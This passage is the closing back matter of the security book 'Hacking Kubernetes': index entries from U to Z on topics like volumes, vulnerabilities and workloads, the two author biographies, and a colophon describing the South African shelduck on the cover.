, User Namespace Vulnerabilities
-User Namespace Vulnerabilities

- users, ID mapping
, User Namespace Vulnerabilities

- userspace dependencies, applications
, The State of Your Container Supply Chains

V

- vanilla base images
, Base Images

- VCSs (Version Control Systems)
, Avoid leaking credentials

- Version Control Systems (VCSs)
, Avoid leaking credentials

- version support
, Anatomy of the Attack

- VFSs (virtual filesystems)
, What’s a Filesystem?

- volumeless
, What’s a Filesystem?

- virtual filesystems (VFSs)
(see
VFSs (virtual filesystems))

- virtual machine monitors (VMMs)
, How Virtual Machines Work

- virtual machines (VMs)
(see
VMs (virtual machines))

- virtualization
, Container Runtime Isolation

- (see also
sandboxes)

- benefits
, Benefits of Virtualization

- VirusTotal
, Traditional IDS

- visualization, RBAC
, Analyzing and Visualizing RBAC

- VMMs (virtual machine monitors)
, How Virtual Machines Work

- VMs (virtual machines)

- compared to containers
, Containers, Virtual Machines, and Sandboxes
, Sandboxing

- guests
, How Virtual Machines Work

- hardware emulation
, Sandboxing

- management, KVM
, How Virtual Machines Work

- micro
, Containers, Virtual Machines, and Sandboxes

- overview
, How Virtual Machines Work

- untrusted workloads
, Threat Model

- volume definitions, pods
, Pod Volume Definitions

- volumes

- attacks
, OverlayFS
, Attacking Volumes
-Attacking Volumes

- block devices
, What’s a Filesystem?

- filesystems
, What’s a Filesystem?
-What’s a Filesystem?

- mounting
, Container Volumes and Mounts

- attacks
, Volume Mount Breaks Container Isolation
-Volume Mount Breaks Container Isolation

- projected
, Projected Volumes
-Projected Volumes

- propagating
, Container Storage Interface

- Secrets
, Mounted Secrets
-Mounted Secrets

- security considerations
, Pod Volume Definitions

- storage
, Threat Model

- types
, Projected Volumes

- vulnerabilities
, Remote Code Execution

- (see also
attacks)

- C programming language
, Benefits of Virtualization
, User Namespace Vulnerabilities

- container images
, Container Images
-Container Images

- Content-Type HTTP headers
, Attacking Higher Up the Supply Chain

- CVEs
, Network Attack Surface

- DirtyCOW
, Architecting Containerized Apps for Resilience

- hardware
, Container Breakout

- historical, importance of
, Architecting Containerized Apps for Resilience

- mitigating
, What’s a Pod?

- npm event-stream
, The Supply Chain

- open source libraries
, Attacking Higher Up the Supply Chain

- open source software
, The Supply Chain

- RCE
, Remote Code Execution
-Remote Code Execution

- risk exposure
, Applications and Supply Chain

- SDLC
, Threat Model

- storage drivers
, What’s a Pod?

- supply chains
, The Supply Chain

- user namespaces
, User Namespace Vulnerabilities
-User Namespace Vulnerabilities

- zero-day
, Container Breakout

W

- WannaCry
, Detecting Trojans

- web servers, creating namespaces
, The Setup

- webhooks
, Open Policy Agent

- worker nodes
, What’s a Pod?

- hardening
, No securityContext

- workloads
, Kubernetes Workloads: Apps in a Pod

- (see also
clusters; containers; pods)

- default configuration
, Defaults

- encryption, enabling
, No Encryption on the Wire

- identifying
, No Workload Identity

- identities
, Workload Identity
-Service accounts

- SPIFFE and
, Cryptographically strong identities
-Cryptographically strong identities

- ingress, testing
, The Setup

- isolating, rationale
, Threat Model

- multitenancy, monitoring
, Sandboxing and Policy

- NIC, escalating to
, No securityContext

- node pools
, Node Pools

- resources, creating
, The Setup

- risk categories
, Sandboxing

- scheduler
, Scheduler and Tolerations

- sensitive
, Threat Model

- service meshes
, Service Meshes

- adoption
, Options and Uptake
, Case Study: mTLS with Linkerd

- overview
, Concept

- untrusted
, Threat Model
-Threat Model

- YAML files
, The Setup

Y

- YAML Ain’t Markup Language

- password visibility and
, Environment Variables

- workload applications
, The Setup

Z

- Zeek
, Traditional IDS

- zero-day attacks

- hard multitenancy and
, Hostile Tenants

- seccomp profile
, Using the securityContext Correctly

- zero-day vulnerabilities

- container breakouts
, Container Breakout

- software with CVEs
, Threat Model

About the Authors

Andrew Martin
is CEO at ControlPlane
. He has an incisive security engineering ethos gained building and destroying high-traffic web applications. Proficient in systems development, testing, and operations, he is comfortable profiling and securing every tier of a bare metal or cloud native system, and has battle-hardened experience delivering containerized solutions to enterprise and government.

Michael Hausenblas
is a solution engineering lead in the Amazon Web Services (AWS) open source observability service team. His background is in data engineering and container orchestration. Michael is experienced in advocacy and standardization at W3C and IETF. Before Amazon, he worked at Red Hat, Mesosphere (now: D2iQ), MapR (now part of HPE), and as a PostDoc researcher.

Colophon

The animal on the cover of Hacking Kubernetes
is a South African shelduck (Tadorna cana
). Also known as the Cape shelduck, it is a member of the Anatidae family and is commonly found in the wetlands, lakes, rivers, and ponds of Southern Africa, mainly in Namibia. However, in the austral winter they move northeast to favored moulting grounds.

Adult South African shelducks have chestnut-brown bodies and wings distinctly marked with black, white, and green. Males have a gray head, while the females can be distinguished by their white heads and black crown. However, the females look very similar to Egyptian geese and are almost indistinguishable when in flight. These fascinating birds can be identified by the deep honk-like call of the male or the louder, shaper hark
of the female.

Interestingly, South African shelducks use holes and burrows made by different animals (especially aardvarks) to construct their own nests.  When the younger birds are born, the adults lead them from the nest to what discipline scientists call “nursery water.” Usually located a mile or two away from the nests, this nursery water hosts a number of young birds from different parents under the care of one or more adults. These ducklings are significantly susceptible to predators because of their inability to fly, and this nursery may be the adults’ way of protecting them.

South African shelducks do not typically dive to feed, but are capable of doing so. Their diet consists of grass, aquatic vegetation, small fish, amphibians, bugs, worms, and small crustaceans. They are usually diurnal and nocturnal feeders. Their conservation status currently is of least concern but they are also protected under the Agreement on the Conservation of African-Eurasian Migratory Waterbirds (AEWA). Many of the animals on O’Reilly covers are endangered; all of them are important to the world.

The cover illustration is by Karen Montgomery, based on a black and white engraving from British Birds
. The cover fonts are Gilroy Semibold and Guardian Sans. The text font is Adobe Minion Pro; the heading font is Adobe Myriad Condensed; and the code font is Dalton Maag’s Ubuntu Mono.